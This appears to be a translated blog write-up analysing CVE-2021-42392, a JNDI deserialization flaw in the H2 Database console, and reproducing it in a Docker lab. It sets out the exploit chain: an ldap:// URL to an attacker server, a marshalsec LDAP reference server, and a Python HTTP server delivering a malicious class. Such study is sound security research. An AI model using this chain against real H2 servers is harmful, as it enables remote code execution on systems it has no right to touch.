Analysis of CVE-2021-42392 H2 Database

Tram Ho

This vulnerability is a Deserialization-related vulnerability. It is quite similar to Log4j, but the impact is much lower.

1. About the goal

Target is H2 Database version < 2.0.206. H2 Database is a relational database management system. Its features are similar to other QHSE management systems such as Mysql, SQLServer, … but often used in Java Spring Boot. The interface of the H2 console looks a bit alum, it seems to be quite old. image.png

2. Vulnerability Analysis

Vulnerability CVE-2021-42392 is a vulnerability that involves checking the unsafe input of Driver Class and JDBC URLs leading to loading a payload containing a malicious object, then Deserialize and leading to RCE. Anyone who has worked with Log4shell knows how this vulnerability works. The vulnerability occurs when executing the lookup function against a user-controlled url at util/JdbcUtils.class. image.png I don’t understand why this IntelliJ guy decompiles to all var1 var2,… looks a bit inhibited so I switched to jd-gui to try. It will be easier for you to see here: image.png

The connect DB function in the H2 Console is used for you to enter the Driver (eg Mysql Driver, Postgresql Driver, MongoDB Driver, …) and JDBC is the path to connect to that DB, but the check is very sketchy. The function just checks if the JDBC value starts with jdbc:h2, then proceeds to the following code. image.png image.png

Then in the next if statement, the function checks if the input Driver is javax.naming.Context (variable d above is assigned to Driver input). It will then do a JNDI lookup for that URL. If that URL is one that an attacker controls, they can insert a malicious object to the system Deserialize and lead to RCE.

Why can JNDI lookup URL deserialize object?

First of all, you should read more about the effects of JNDI here . For those of you who have a lot of Java code, it will likely be easy to understand or already know JNDI, but I rarely use Java, so it was a bit difficult to read about this guy at first. JNDI stands for Java Naming and Directory Interface. As the name suggests, it is an Interface, used for naming and directory services. JNDI names objects, to make them more user-friendly. To use JNDI, I have to Implement it (because it’s an Interface). The binding between the name and the object is called bind. The most common case of JNDI is DNS, a service that maps domain names to IP addresses. In this case, we will use the LDAP method, a method of accessing the directory tree structure, or used in authentication. LDAP also has a function to map from name to object like JNDI, because it Implement from JNDI. More specifically about LDAP you can read here . In this case, an LDAP server, controlled by the attacker, contains a malicious payload object bound with a name. H2 acts as a client, makes an LDAP method call, looks for that name value, then gets the malicious object, and then deserializes to read the data and leads to RCE. To call the LDAP method and perform a name search and return an object, the Context.lookup function takes the form ldap://<attacker-ldap-server>:<ldap-port>/<Name> .

image.png Enter the Driver Class as javax.naming.InitialContext to bypass the if check function, then put the ldap URL in, the debug result will be: image.png

So with a basic payload, the function performed JNDI lookup. The next thing to do is to build an LDAP server that contains a binding between a name value of Exploit and a dangerous Object at port 1389. Using the marshalsec tool, a tool for building servers with different protocols, is very convenient.

Follow instructions on README to build jar file of marshalsec then run command java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer " to create LDAP server port 1389, bind between name Exploit and object Exploit.class If any client performs LDAP search to server with name Exploit, server will return lookup result as link 8000/Exploit.class Client – ie H2 will send get request to that link to get Object and then Deserialize.The last thing to do is create a class called Exploit and contain the dangerous payload in it.


This class, if run, will ping the attacker’s server. Build the class with javac command, then open a http server port 8000 here with python3 -m http.server.

3. Executing Mining

Build environment in docker with h2database get here .

Then access the H2 Console interface and insert the payload as follows: image.png

I also don’t understand why I can’t curl from the container to the real machine, so I had to use the ping command to demo. Result: Server H2 executes LDAP query to attacker server built with marshalsec, then attacker server redirects to attacker’s HTTP server containing malicious object, and H2 server deserialize that object and RCE successfully. image.png



* Note : The vulnerability only affects those who connect using the H2 Console, because only when there is a console, the user can control its input. Also these input values ​​can be run using CommandLine: java -cp h2-2.0.202.jar -driver javax.naming.InitialContext -url ldap:// , so if you can control these parameters, you will also be able to exploit the vulnerability.

Share the news now

Source : Viblo